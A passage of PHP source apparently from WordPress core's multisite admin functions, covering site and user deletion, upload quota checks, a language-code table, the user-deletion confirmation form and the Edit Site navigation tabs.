	if ( upload_is_user_over_quota( false ) ) {
		$file['error'] = __( 'You have used your space quota. Please delete files before uploading.' );
	}

	if ( $file['error'] > 0 && ! isset( $_POST['html-upload'] ) && ! wp_doing_ajax() ) {
		wp_die( $file['error'] . ' <a href="javascript:history.go(-1)">' . __( 'Back' ) . '</a>' );
	}

	return $file;
}

/**
 * Deletes a site.
 *
 * @since 3.0.0
 * @since 5.1.0 Use wp_delete_site() internally to delete the site row from the database.
 *
 * @param int  $blog_id Site ID.
 * @param bool $drop    True if site's database tables should be dropped. Default false.
 */
function wpmu_delete_blog( $blog_id, $drop = false ) {
	$blog_id = (int) $blog_id;

	$switch = false;
	if ( get_current_blog_id() !== $blog_id ) {
		$switch = true;
		switch_to_blog( $blog_id );
	}

	$blog = get_site( $blog_id );

	$current_network = get_network();

	// If a full blog object is not available, do not destroy anything.
	if ( $drop && ! $blog ) {
		$drop = false;
	}

	// Don't destroy the initial, main, or root blog.
	if ( $drop
		&& ( 1 === $blog_id || is_main_site( $blog_id )
			|| ( $blog->path === $current_network->path && $blog->domain === $current_network->domain ) )
	) {
		$drop = false;
	}

	$upload_path = trim( get_option( 'upload_path' ) );

	// If ms_files_rewriting is enabled and upload_path is empty, wp_upload_dir is not reliable.
	if ( $drop && get_site_option( 'ms_files_rewriting' ) && empty( $upload_path ) ) {
		$drop = false;
	}

	if ( $drop ) {
		wp_delete_site( $blog_id );
	} else {
		/** This action is documented in wp-includes/ms-blogs.php */
		do_action_deprecated( 'delete_blog', array( $blog_id, false ), '5.1.0' );

		$users = get_users(
			array(
				'blog_id' => $blog_id,
				'fields'  => 'ids',
			)
		);

		// Remove users from this blog.
		if ( ! empty( $users ) ) {
			foreach ( $users as $user_id ) {
				remove_user_from_blog( $user_id, $blog_id );
			}
		}

		update_blog_status( $blog_id, 'deleted', 1 );

		/** This action is documented in wp-includes/ms-blogs.php */
		do_action_deprecated( 'deleted_blog', array( $blog_id, false ), '5.1.0' );
	}

	if ( $switch ) {
		restore_current_blog();
	}
}

/**
 * Deletes a user and all of their posts from the network.
 *
 * This function:
 *
 * - Deletes all posts (of all post types) authored by the user on all sites on the network
 * - Deletes all links owned by the user on all sites on the network
 * - Removes the user from all sites on the network
 * - Deletes the user from the database
 *
 * @since 3.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $id The user ID.
 * @return bool True if the user was deleted, false otherwise.
 */
function wpmu_delete_user( $id ) {
	global $wpdb;

	if ( ! is_numeric( $id ) ) {
		return false;
	}

	$id   = (int) $id;
	$user = new WP_User( $id );

	if ( ! $user->exists() ) {
		return false;
	}

	// Global super-administrators are protected, and cannot be deleted.
	$_super_admins = get_super_admins();
	if ( in_array( $user->user_login, $_super_admins, true ) ) {
		return false;
	}

	/**
	 * Fires before a user is deleted from the network.
	 *
	 * @since MU (3.0.0)
	 * @since 5.5.0 Added the `$user` parameter.
	 *
	 * @param int     $id   ID of the user about to be deleted from the network.
	 * @param WP_User $user WP_User object of the user about to be deleted from the network.
	 */
	do_action( 'wpmu_delete_user', $id, $user );

	$blogs = get_blogs_of_user( $id );

	if ( ! empty( $blogs ) ) {
		foreach ( $blogs as $blog ) {
			switch_to_blog( $blog->userblog_id );
			remove_user_from_blog( $id, $blog->userblog_id );

			$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id ) );
			foreach ( (array) $post_ids as $post_id ) {
				wp_delete_post( $post_id );
			}

			// Clean links.
			$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) );

			if ( $link_ids ) {
				foreach ( $link_ids as $link_id ) {
					wp_delete_link( $link_id );
				}
			}

			restore_current_blog();
		}
	}

	$meta = $wpdb->get_col( $wpdb->prepare( "SELECT umeta_id FROM $wpdb->usermeta WHERE user_id = %d", $id ) );
	foreach ( $meta as $mid ) {
		delete_metadata_by_mid( 'user', $mid );
	}

	$wpdb->delete( $wpdb->users, array( 'ID' => $id ) );

	clean_user_cache( $user );

	/** This action is documented in wp-admin/includes/user.php */
	do_action( 'deleted_user', $id, null, $user );

	return true;
}

/**
 * Checks whether a site has used its allotted upload space.
 *
 * @since MU (3.0.0)
 *
 * @param bool $display_message Optional. If set to true and the quota is exceeded,
 *                              a warning message is displayed. Default true.
 * @return bool True if user is over upload space quota, otherwise false.
 */
function upload_is_user_over_quota( $display_message = true ) {
	if ( get_site_option( 'upload_space_check_disabled' ) ) {
		return false;
	}

	$space_allowed = get_space_allowed();
	if ( ! is_numeric( $space_allowed ) ) {
		$space_allowed = 10; // Default space allowed is 10 MB.
	}
	$space_used = get_space_used();

	if ( ( $space_allowed - $space_used ) < 0 ) {
		if ( $display_message ) {
			printf(
				/* translators: %s: Allowed space allocation. */
				__( 'Sorry, you have used your space allocation of %s. Please delete some files to upload more files.' ),
				size_format( $space_allowed * MB_IN_BYTES )
			);
		}
		return true;
	} else {
		return false;
	}
}

/**
 * Displays the amount of disk space used by the current site. Not used in core.
 *
 * @since MU (3.0.0)
 */
function display_space_usage() {
	$space_allowed = get_space_allowed();
	$space_used    = get_space_used();

	$percent_used = ( $space_used / $space_allowed ) * 100;

	$space = size_format( $space_allowed * MB_IN_BYTES );
	?>
	<strong>
	<?php
		/* translators: Storage space that's been used. 1: Percentage of used space, 2: Total space allowed in megabytes or gigabytes. */
		printf( __( 'Used: %1$s%% of %2$s' ), number_format( $percent_used ), $space );
	?>
	</strong>
	<?php
}

/**
 * Gets the remaining upload space for this site.
 *
 * @since MU (3.0.0)
 *
 * @param int $size Current max size in bytes.
 * @return int Max size in bytes.
 */
function fix_import_form_size( $size ) {
	if ( upload_is_user_over_quota( false ) ) {
		return 0;
	}
	$available = get_upload_space_available();
	return min( $size, $available );
}

/**
 * Displays the site upload space quota setting form on the Edit Site Settings screen.
 *
 * @since 3.0.0
 *
 * @param int $id The ID of the site to display the setting for.
 */
function upload_space_setting( $id ) {
	switch_to_blog( $id );
	$quota = get_option( 'blog_upload_space' );
	restore_current_blog();

	if ( ! $quota ) {
		$quota = '';
	}

	?>
	<tr>
		<th><label for="blog-upload-space-number"><?php _e( 'Site Upload Space Quota' ); ?></label></th>
		<td>
			<input type="number" step="1" min="0" style="width: 100px" name="option[blog_upload_space]" id="blog-upload-space-number" aria-describedby="blog-upload-space-desc" value="<?php echo $quota; ?>" />
			<span id="blog-upload-space-desc"><span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Size in megabytes' );
				?>
			</span> <?php _e( 'MB (Leave blank for network default)' ); ?></span>
		</td>
	</tr>
	<?php
}

/**
 * Cleans the user cache for a specific user.
 *
 * @since 3.0.0
 *
 * @param int $id The user ID.
 * @return int|false The ID of the refreshed user or false if the user does not exist.
 */
function refresh_user_details( $id ) {
	$id = (int) $id;

	$user = get_userdata( $id );
	if ( ! $user ) {
		return false;
	}

	clean_user_cache( $user );

	return $id;
}

/**
 * Returns the language for a language code.
 *
 * @since 3.0.0
 *
 * @param string $code Optional. The two-letter language code. Default empty.
 * @return string The language corresponding to $code if it exists. If it does not exist,
 *                then the first two letters of $code is returned.
 */
function format_code_lang( $code = '' ) {
	$code       = strtolower( substr( $code, 0, 2 ) );
	$lang_codes = array(
		'aa' => 'Afar',
		'ab' => 'Abkhazian',
		'af' => 'Afrikaans',
		'ak' => 'Akan',
		'sq' => 'Albanian',
		'am' => 'Amharic',
		'ar' => 'Arabic',
		'an' => 'Aragonese',
		'hy' => 'Armenian',
		'as' => 'Assamese',
		'av' => 'Avaric',
		'ae' => 'Avestan',
		'ay' => 'Aymara',
		'az' => 'Azerbaijani',
		'ba' => 'Bashkir',
		'bm' => 'Bambara',
		'eu' => 'Basque',
		'be' => 'Belarusian',
		'bn' => 'Bengali',
		'bh' => 'Bihari',
		'bi' => 'Bislama',
		'bs' => 'Bosnian',
		'br' => 'Breton',
		'bg' => 'Bulgarian',
		'my' => 'Burmese',
		'ca' => 'Catalan; Valencian',
		'ch' => 'Chamorro',
		'ce' => 'Chechen',
		'zh' => 'Chinese',
		'cu' => 'Church Slavic; Old Slavonic; Church Slavonic; Old Bulgarian; Old Church Slavonic',
		'cv' => 'Chuvash',
		'kw' => 'Cornish',
		'co' => 'Corsican',
		'cr' => 'Cree',
		'cs' => 'Czech',
		'da' => 'Danish',
		'dv' => 'Divehi; Dhivehi; Maldivian',
		'nl' => 'Dutch; Flemish',
		'dz' => 'Dzongkha',
		'en' => 'English',
		'eo' => 'Esperanto',
		'et' => 'Estonian',
		'ee' => 'Ewe',
		'fo' => 'Faroese',
		'fj' => 'Fijjian',
		'fi' => 'Finnish',
		'fr' => 'French',
		'fy' => 'Western Frisian',
		'ff' => 'Fulah',
		'ka' => 'Georgian',
		'de' => 'German',
		'gd' => 'Gaelic; Scottish Gaelic',
		'ga' => 'Irish',
		'gl' => 'Galician',
		'gv' => 'Manx',
		'el' => 'Greek, Modern',
		'gn' => 'Guarani',
		'gu' => 'Gujarati',
		'ht' => 'Haitian; Haitian Creole',
		'ha' => 'Hausa',
		'he' => 'Hebrew',
		'hz' => 'Herero',
		'hi' => 'Hindi',
		'ho' => 'Hiri Motu',
		'hu' => 'Hungarian',
		'ig' => 'Igbo',
		'is' => 'Icelandic',
		'io' => 'Ido',
		'ii' => 'Sichuan Yi',
		'iu' => 'Inuktitut',
		'ie' => 'Interlingue',
		'ia' => 'Interlingua (International Auxiliary Language Association)',
		'id' => 'Indonesian',
		'ik' => 'Inupiaq',
		'it' => 'Italian',
		'jv' => 'Javanese',
		'ja' => 'Japanese',
		'kl' => 'Kalaallisut; Greenlandic',
		'kn' => 'Kannada',
		'ks' => 'Kashmiri',
		'kr' => 'Kanuri',
		'kk' => 'Kazakh',
		'km' => 'Central Khmer',
		'ki' => 'Kikuyu; Gikuyu',
		'rw' => 'Kinyarwanda',
		'ky' => 'Kirghiz; Kyrgyz',
		'kv' => 'Komi',
		'kg' => 'Kongo',
		'ko' => 'Korean',
		'kj' => 'Kuanyama; Kwanyama',
		'ku' => 'Kurdish',
		'lo' => 'Lao',
		'la' => 'Latin',
		'lv' => 'Latvian',
		'li' => 'Limburgan; Limburger; Limburgish',
		'ln' => 'Lingala',
		'lt' => 'Lithuanian',
		'lb' => 'Luxembourgish; Letzeburgesch',
		'lu' => 'Luba-Katanga',
		'lg' => 'Ganda',
		'mk' => 'Macedonian',
		'mh' => 'Marshallese',
		'ml' => 'Malayalam',
		'mi' => 'Maori',
		'mr' => 'Marathi',
		'ms' => 'Malay',
		'mg' => 'Malagasy',
		'mt' => 'Maltese',
		'mo' => 'Moldavian',
		'mn' => 'Mongolian',
		'na' => 'Nauru',
		'nv' => 'Navajo; Navaho',
		'nr' => 'Ndebele, South; South Ndebele',
		'nd' => 'Ndebele, North; North Ndebele',
		'ng' => 'Ndonga',
		'ne' => 'Nepali',
		'nn' => 'Norwegian Nynorsk; Nynorsk, Norwegian',
		'nb' => 'Bokmål, Norwegian, Norwegian Bokmål',
		'no' => 'Norwegian',
		'ny' => 'Chichewa; Chewa; Nyanja',
		'oc' => 'Occitan, Provençal',
		'oj' => 'Ojibwa',
		'or' => 'Oriya',
		'om' => 'Oromo',
		'os' => 'Ossetian; Ossetic',
		'pa' => 'Panjabi; Punjabi',
		'fa' => 'Persian',
		'pi' => 'Pali',
		'pl' => 'Polish',
		'pt' => 'Portuguese',
		'ps' => 'Pushto',
		'qu' => 'Quechua',
		'rm' => 'Romansh',
		'ro' => 'Romanian',
		'rn' => 'Rundi',
		'ru' => 'Russian',
		'sg' => 'Sango',
		'sa' => 'Sanskrit',
		'sr' => 'Serbian',
		'hr' => 'Croatian',
		'si' => 'Sinhala; Sinhalese',
		'sk' => 'Slovak',
		'sl' => 'Slovenian',
		'se' => 'Northern Sami',
		'sm' => 'Samoan',
		'sn' => 'Shona',
		'sd' => 'Sindhi',
		'so' => 'Somali',
		'st' => 'Sotho, Southern',
		'es' => 'Spanish; Castilian',
		'sc' => 'Sardinian',
		'ss' => 'Swati',
		'su' => 'Sundanese',
		'sw' => 'Swahili',
		'sv' => 'Swedish',
		'ty' => 'Tahitian',
		'ta' => 'Tamil',
		'tt' => 'Tatar',
		'te' => 'Telugu',
		'tg' => 'Tajik',
		'tl' => 'Tagalog',
		'th' => 'Thai',
		'bo' => 'Tibetan',
		'ti' => 'Tigrinya',
		'to' => 'Tonga (Tonga Islands)',
		'tn' => 'Tswana',
		'ts' => 'Tsonga',
		'tk' => 'Turkmen',
		'tr' => 'Turkish',
		'tw' => 'Twi',
		'ug' => 'Uighur; Uyghur',
		'uk' => 'Ukrainian',
		'ur' => 'Urdu',
		'uz' => 'Uzbek',
		've' => 'Venda',
		'vi' => 'Vietnamese',
		'vo' => 'Volapük',
		'cy' => 'Welsh',
		'wa' => 'Walloon',
		'wo' => 'Wolof',
		'xh' => 'Xhosa',
		'yi' => 'Yiddish',
		'yo' => 'Yoruba',
		'za' => 'Zhuang; Chuang',
		'zu' => 'Zulu',
	);

	/**
	 * Filters the language codes.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string[] $lang_codes Array of key/value pairs of language codes where key is the short version.
	 * @param string   $code       A two-letter designation of the language.
	 */
	$lang_codes = apply_filters( 'lang_codes', $lang_codes, $code );
	return strtr( $code, $lang_codes );
}

/**
 * Displays an access denied message when a user tries to view a site's dashboard they
 * do not have access to.
 *
 * @since 3.2.0
 * @access private
 */
function _access_denied_splash() {
	if ( ! is_user_logged_in() || is_network_admin() ) {
		return;
	}

	$blogs = get_blogs_of_user( get_current_user_id() );

	if ( wp_list_filter( $blogs, array( 'userblog_id' => get_current_blog_id() ) ) ) {
		return;
	}

	$blog_name = get_bloginfo( 'name' );

	if ( empty( $blogs ) ) {
		wp_die(
			sprintf(
				/* translators: 1: Site title. */
				__( 'You attempted to access the "%1$s" dashboard, but you do not currently have privileges on this site. If you believe you should be able to access the "%1$s" dashboard, please contact your network administrator.' ),
				$blog_name
			),
			403
		);
	}

	$output = '<p>' . sprintf(
		/* translators: 1: Site title. */
		__( 'You attempted to access the "%1$s" dashboard, but you do not currently have privileges on this site. If you believe you should be able to access the "%1$s" dashboard, please contact your network administrator.' ),
		$blog_name
	) . '</p>';
	$output .= '<p>' . __( 'If you reached this screen by accident and meant to visit one of your own sites, here are some shortcuts to help you find your way.' ) . '</p>';

	$output .= '<h3>' . __( 'Your Sites' ) . '</h3>';
	$output .= '<table>';

	foreach ( $blogs as $blog ) {
		$output .= '<tr>';
		$output .= "<td>{$blog->blogname}</td>";
		$output .= '<td><a href="' . esc_url( get_admin_url( $blog->userblog_id ) ) . '">' . __( 'Visit Dashboard' ) . '</a> | ' .
			'<a href="' . esc_url( get_home_url( $blog->userblog_id ) ) . '">' . __( 'View Site' ) . '</a></td>';
		$output .= '</tr>';
	}

	$output .= '</table>';

	wp_die( $output, 403 );
}

/**
 * Checks if the current user has permissions to import new users.
 *
 * @since 3.0.0
 *
 * @param string $permission A permission to be checked. Currently not used.
 * @return bool True if the user has proper permissions, false if they do not.
 */
function check_import_new_users( $permission ) {
	if ( ! current_user_can( 'manage_network_users' ) ) {
		return false;
	}

	return true;
}
// See "import_allow_fetch_attachments" and "import_attachment_size_limit" filters too.

/**
 * Generates and displays a drop-down of available languages.
 *
 * @since 3.0.0
 *
 * @param string[] $lang_files Optional. An array of the language files. Default empty array.
 * @param string   $current    Optional. The current language code. Default empty.
 */
function mu_dropdown_languages( $lang_files = array(), $current = '' ) {
	$flag   = false;
	$output = array();

	foreach ( (array) $lang_files as $val ) {
		$code_lang = basename( $val, '.mo' );

		if ( 'en_US' === $code_lang ) { // American English.
			$flag          = true;
			$ae            = __( 'American English' );
			$output[ $ae ] = '<option value="' . esc_attr( $code_lang ) . '"' . selected( $current, $code_lang, false ) . '> ' . $ae . '</option>';
		} elseif ( 'en_GB' === $code_lang ) { // British English.
			$flag          = true;
			$be            = __( 'British English' );
			$output[ $be ] = '<option value="' . esc_attr( $code_lang ) . '"' . selected( $current, $code_lang, false ) . '> ' . $be . '</option>';
		} else {
			$translated            = format_code_lang( $code_lang );
			$output[ $translated ] = '<option value="' . esc_attr( $code_lang ) . '"' . selected( $current, $code_lang, false ) . '> ' . esc_html( $translated ) . '</option>';
		}
	}

	if ( false === $flag ) { // WordPress English.
		$output[] = '<option value=""' . selected( $current, '', false ) . '>' . __( 'English' ) . '</option>';
	}

	// Order by name.
	uksort( $output, 'strnatcasecmp' );

	/**
	 * Filters the languages available in the dropdown.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string[] $output     Array of HTML output for the dropdown.
	 * @param string[] $lang_files Array of available language files.
	 * @param string   $current    The current language code.
	 */
	$output = apply_filters( 'mu_dropdown_languages', $output, $lang_files, $current );

	echo implode( "\n\t", $output );
}

/**
 * Displays an admin notice to upgrade all sites after a core upgrade.
 *
 * @since 3.0.0
 *
 * @global int    $wp_db_version WordPress database version.
 * @global string $pagenow       The filename of the current screen.
 *
 * @return void|false Void on success. False if the current user is not a super admin.
 */
function site_admin_notice() {
	global $wp_db_version, $pagenow;

	if ( ! current_user_can( 'upgrade_network' ) ) {
		return false;
	}

	if ( 'upgrade.php' === $pagenow ) {
		return;
	}

	if ( (int) get_site_option( 'wpmu_upgrade_site' ) !== $wp_db_version ) {
		$upgrade_network_message = sprintf(
			/* translators: %s: URL to Upgrade Network screen. */
			__( 'Thank you for Updating! Please visit the <a href="%s">Upgrade Network</a> page to update all your sites.' ),
			esc_url( network_admin_url( 'upgrade.php' ) )
		);

		wp_admin_notice(
			$upgrade_network_message,
			array(
				'type'               => 'warning',
				'additional_classes' => array( 'update-nag', 'inline' ),
				'paragraph_wrap'     => false,
			)
		);
	}
}

/**
 * Avoids a collision between a site slug and a permalink slug.
 *
 * In a subdirectory installation this will make sure that a site and a post do not use the
 * same subdirectory by checking for a site with the same name as a new post.
 *
 * @since 3.0.0
 *
 * @param array $data    An array of post data.
 * @param array $postarr An array of posts. Not currently used.
 * @return array The new array of post data after checking for collisions.
 */
function avoid_blog_page_permalink_collision( $data, $postarr ) {
	if ( is_subdomain_install() ) {
		return $data;
	}
	if ( 'page' !== $data['post_type'] ) {
		return $data;
	}
	if ( ! isset( $data['post_name'] ) || '' === $data['post_name'] ) {
		return $data;
	}
	if ( ! is_main_site() ) {
		return $data;
	}
	if ( isset( $data['post_parent'] ) && $data['post_parent'] ) {
		return $data;
	}

	$post_name = $data['post_name'];
	$c         = 0;

	while ( $c < 10 && get_id_from_blogname( $post_name ) ) {
		$post_name .= mt_rand( 1, 10 );
		++$c;
	}

	if ( $post_name !== $data['post_name'] ) {
		$data['post_name'] = $post_name;
	}

	return $data;
}

/**
 * Handles the display of choosing a user's primary site.
 *
 * This displays the user's primary site and allows the user to choose
 * which site is primary.
 *
 * @since 3.0.0
 */
function choose_primary_blog() {
	?>
	<table class="form-table" role="presentation">
	<tr>
	<?php /* translators: My Sites label. */ ?>
		<th scope="row"><label for="primary_blog"><?php _e( 'Primary Site' ); ?></label></th>
		<td>
		<?php
		$all_blogs    = get_blogs_of_user( get_current_user_id() );
		$primary_blog = (int) get_user_meta( get_current_user_id(), 'primary_blog', true );
		if ( count( $all_blogs ) > 1 ) {
			$found = false;
			?>
			<select name="primary_blog" id="primary_blog">
				<?php
				foreach ( (array) $all_blogs as $blog ) {
					if ( $blog->userblog_id === $primary_blog ) {
						$found = true;
					}
					?>
					<option value="<?php echo $blog->userblog_id; ?>"<?php selected( $primary_blog, $blog->userblog_id ); ?>><?php echo esc_url( get_home_url( $blog->userblog_id ) ); ?></option>
					<?php
				}
				?>
			</select>
			<?php
			if ( ! $found ) {
				$blog = reset( $all_blogs );
				update_user_meta( get_current_user_id(), 'primary_blog', $blog->userblog_id );
			}
		} elseif ( 1 === count( $all_blogs ) ) {
			$blog = reset( $all_blogs );
			echo esc_url( get_home_url( $blog->userblog_id ) );
			if ( $blog->userblog_id !== $primary_blog ) { // Set the primary blog again if it's out of sync with blog list.
				update_user_meta( get_current_user_id(), 'primary_blog', $blog->userblog_id );
			}
		} else {
			_e( 'Not available' );
		}
		?>
		</td>
	</tr>
	</table>
	<?php
}

/**
 * Determines whether or not this network from this page can be edited.
 *
 * By default editing of network is restricted to the Network Admin for that `$network_id`.
 * This function allows for this to be overridden.
 *
 * @since 3.1.0
 *
 * @param int $network_id The network ID to check.
 * @return bool True if network can be edited, false otherwise.
 */
function can_edit_network( $network_id ) {
	if ( get_current_network_id() === (int) $network_id ) {
		$result = true;
	} else {
		$result = false;
	}

	/**
	 * Filters whether this network can be edited from this page.
	 *
	 * @since 3.1.0
	 *
	 * @param bool $result     Whether the network can be edited from this page.
	 * @param int  $network_id The network ID to check.
	 */
	return apply_filters( 'can_edit_network', $result, $network_id );
}

/**
 * Prints thickbox image paths for Network Admin.
 *
 * @since 3.1.0
 *
 * @access private
 */
function _thickbox_path_admin_subfolder() {
	?>
<script type="text/javascript">
var tb_pathToImage = "<?php echo esc_js( includes_url( 'js/thickbox/loadingAnimation.gif', 'relative' ) ); ?>";
</script>
	<?php
}

/**
 * @param array $users
 * @return bool
 */
function confirm_delete_users( $users ) {
	$current_user = wp_get_current_user();
	if ( ! is_array( $users ) || empty( $users ) ) {
		return false;
	}
	?>
	<h1><?php esc_html_e( 'Users' ); ?></h1>

	<?php if ( 1 === count( $users ) ) : ?>
		<p><?php _e( 'You have chosen to delete the user from all networks and sites.' ); ?></p>
	<?php else : ?>
		<p><?php _e( 'You have chosen to delete the following users from all networks and sites.' ); ?></p>
	<?php endif; ?>

	<form action="users.php?action=dodelete" method="post">
	<input type="hidden" name="dodelete" />
	<?php
	wp_nonce_field( 'ms-users-delete' );
	$site_admins = get_super_admins();
	$admin_out   = '<option value="' . esc_attr( $current_user->ID ) . '">' . $current_user->user_login . '</option>';
	?>
	<table class="form-table" role="presentation">
	<?php
	$allusers = (array) $_POST['allusers'];
	foreach ( $allusers as $user_id ) {
		if ( '' !== $user_id && '0' !== $user_id ) {
			$delete_user = get_userdata( $user_id );

			if ( ! current_user_can( 'delete_user', $delete_user->ID ) ) {
				wp_die(
					sprintf(
						/* translators: %s: User login. */
						__( 'Warning! User %s cannot be deleted.' ),
						$delete_user->user_login
					)
				);
			}

			if ( in_array( $delete_user->user_login, $site_admins, true ) ) {
				wp_die(
					sprintf(
						/* translators: %s: User login. */
						__( 'Warning! User cannot be deleted. The user %s is a network administrator.' ),
						'<em>' . $delete_user->user_login . '</em>'
					)
				);
			}
			?>
			<tr>
				<th scope="row"><?php echo $delete_user->user_login; ?>
					<?php echo '<input type="hidden" name="user[]" value="' . esc_attr( $user_id ) . '" />' . "\n"; ?>
				</th>
			<?php
			$blogs = get_blogs_of_user( $user_id, true );

			if ( ! empty( $blogs ) ) {
				?>
				<td><fieldset><p><legend>
				<?php
				printf(
					/* translators: %s: User login. */
					__( 'What should be done with content owned by %s?' ),
					'<em>' . $delete_user->user_login . '</em>'
				);
				?>
				</legend></p>
				<?php
				foreach ( (array) $blogs as $key => $details ) {
					$blog_users = get_users(
						array(
							'blog_id' => $details->userblog_id,
							'fields'  => array( 'ID', 'user_login' ),
						)
					);

					if ( is_array( $blog_users ) && ! empty( $blog_users ) ) {
						$user_site     = "<a href='" . esc_url( get_home_url( $details->userblog_id ) ) . "'>{$details->blogname}</a>";
						$user_dropdown = '<label for="reassign_user" class="screen-reader-text">' .
								/* translators: Hidden accessibility text. */
								__( 'Select a user' ) .
							'</label>';
						$user_dropdown .= "<select name='blog[$user_id][$key]' id='reassign_user'>";
						$user_list      = '';

						foreach ( $blog_users as $user ) {
							if ( ! in_array( (int) $user->ID, $allusers, true ) ) {
								$user_list .= "<option value='{$user->ID}'>{$user->user_login}</option>";
							}
						}

						if ( '' === $user_list ) {
							$user_list = $admin_out;
						}

						$user_dropdown .= $user_list;
						$user_dropdown .= "</select>\n";
						?>
						<ul style="list-style:none;">
							<li>
								<?php
								/* translators: %s: Link to user's site. */
								printf( __( 'Site: %s' ), $user_site );
								?>
							</li>
							<li><label><input type="radio" id="delete_option0" name="delete[<?php echo $details->userblog_id . '][' . $delete_user->ID; ?>]" value="delete" checked="checked" />
							<?php _e( 'Delete all content.' ); ?></label></li>
							<li><label><input type="radio" id="delete_option1" name="delete[<?php echo $details->userblog_id . '][' . $delete_user->ID; ?>]" value="reassign" />
							<?php _e( 'Attribute all content to:' ); ?></label>
							<?php echo $user_dropdown; ?></li>
						</ul>
						<?php
					}
				}
				echo '</fieldset></td></tr>';
			} else {
				?>
				<td><p><?php _e( 'User has no sites or content and will be deleted.' ); ?></p></td>
			<?php } ?>
			</tr>
			<?php
		}
	}

	?>
	</table>
	<?php
	/** This action is documented in wp-admin/users.php */
	do_action( 'delete_user_form', $current_user, $allusers );

	if ( 1 === count( $users ) ) :
		?>
		<p><?php _e( 'Once you hit &#8220;Confirm Deletion&#8221;, the user will be permanently removed.' ); ?></p>
	<?php else : ?>
		<p><?php _e( 'Once you hit &#8220;Confirm Deletion&#8221;, these users will be permanently removed.' ); ?></p>
		<?php
	endif;

	submit_button( __( 'Confirm Deletion' ), 'primary' );
	?>
	</form>
	<?php
	return true;
}

/**
 * Prints JavaScript in the header on the Network Settings screen.
 *
 * @since 4.1.0
 */
function network_settings_add_js() {
	?>
<script type="text/javascript">
jQuery( function($) {
	var languageSelect = $( '#WPLANG' );
	$( 'form' ).on( 'submit', function() {
		/*
		 * Don't show a spinner for English and installed languages,
		 * as there is nothing to download.
		 */
		if ( ! languageSelect.find( 'option:selected' ).data( 'installed' ) ) {
			$( '#submit', this ).after( '<span class="spinner language-install-spinner is-active" />' );
		}
	});
} );
</script>
	<?php
}

/**
 * Outputs the HTML for a network's "Edit Site" tabular interface.
 *
 * @since 4.6.0
 *
 * @global string $pagenow The filename of the current screen.
 *
 * @param array $args {
 *     Optional. Array or string of Query parameters. Default empty array.
 *
 *     @type int    $blog_id  The site ID. Default is the current site.
 *     @type array  $links    The tabs to include with (label|url|cap) keys.
 *     @type string $selected The ID of the selected link.
 * }
 */
function network_edit_site_nav( $args = array() ) {

	/**
	 * Filters the links that appear on site-editing network pages.
	 *
	 * Default links: 'site-info', 'site-users', 'site-themes', and 'site-settings'.
	 *
	 * @since 4.6.0
	 *
	 * @param array $links {
	 *     An array of link data representing individual network admin pages.
	 *
	 *     @type array $link_slug {
	 *         An array of information about the individual link to a page.
	 *
	 *         $type string $label Label to use for the link.
	 *         $type string $url   URL, relative to `network_admin_url()` to use for the link.
	 *         $type string $cap   Capability required to see the link.
	 *     }
	 * }
	 */
	$links = apply_filters(
		'network_edit_site_nav_links',
		array(
			'site-info'     => array(
				'label' => __( 'Info' ),
				'url'   => 'site-info.php',
				'cap'   => 'manage_sites',
			),
			'site-users'    => array(
				'label' => __( 'Users' ),
				'url'   => 'site-users.php',
				'cap'   => 'manage_sites',
			),
			'site-themes'   => array(
				'label' => __( 'Themes' ),
				'url'   => 'site-themes.php',
				'cap'   => 'manage_sites',
			),
			'site-settings' => array(
				'label' => __( 'Settings' ),
				'url'   => 'site-settings.php',
				'cap'   => 'manage_sites',
			),
		)
	);

	// Parse arguments.
	$parsed_args = wp_parse_args(
		$args,
		array(
			'blog_id'  => isset( $_GET['blog_id'] ) ? (int) $_GET['blog_id'] : 0,
			'links'    => $links,
			'selected' => 'site-info',
		)
	);

	// Setup the links array.
	$screen_links = array();

	// Loop through tabs.
	foreach ( $parsed_args['links'] as $link_id => $link ) {

		// Skip link if user can't access.
		if ( ! current_user_can( $link['cap'], $parsed_args['blog_id'] ) ) {
			continue;
		}

		// Link classes.
		$classes = array( 'nav-tab' );

		// Aria-current attribute.
		$aria_current = '';

		// Selected is set by the parent OR assumed by the $pagenow global.
		if ( $parsed_args['selected'] === $link_id || $link['url'] === $GLOBALS['pagenow'] ) {
			$classes[]    = 'nav-tab-active';
			$aria_current = ' aria-current="page"';
		}

		// Escape each class.
		$esc_classes = implode( ' ', $classes );

		// Get the URL for this link.
		$url = add_query_arg( array( 'id' => $parsed_args['blog_id'] ), network_admin_url( $link['url'] ) );

		// Add link to nav links.
		$screen_links[ $link_id ] = '<a href="' . esc_url( $url ) . '" id="' . esc_attr( $link_id ) . '" class="' . $esc_classes . '"' . $aria_current . '>' . esc_html( $link['label'] ) . '</a>';
	}

	// All done!
	echo '<nav class="nav-tab-wrapper wp-clearfix" aria-label="' . esc_attr__( 'Secondary menu' ) . '">';
	echo implode( '', $screen_links );
	echo '</nav>';
}

/**
 * Returns the arguments for the help tab on the Edit Site screens.
 *
 * @since 4.9.0
 *
 * @return array Help tab arguments.
 */
function get_site_screen_help_tab_args() {
	return array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'The menu is for editing information specific to individual sites, particularly if the admin area of a site is unavailable.' ) . '</p>' .
			'<p>' . __( '<strong>Info</strong> &mdash; The site URL is rarely edited as this can cause the site to not work properly. The Registered date and Last Updated date are displayed. Network admins can mark a site as archived, spam, deleted and mature, to remove from public listings or disable.' ) . '</p>' .
			'<p>' . __( '<strong>Users</strong> &mdash; This displays the users associated with this site. You can also change their role, reset their password, or remove them from the site. Removing the user from the site does not remove the user from the network.' ) . '</p>' .
			'<p>' . sprintf(
				/* translators: %s: URL to Network Themes screen. */
				__( '<strong>Themes</strong> &mdash; This area shows themes that are not already enabled across the network. Enabling a theme in this menu makes it accessible to this site. It does not activate the theme, but allows it to show in the site&#8217;s Appearance menu. To enable a theme for the entire network, see the <a href="%s">Network Themes</a> screen.' ),
				network_admin_url( 'themes.php' )
			) . '</p>' .
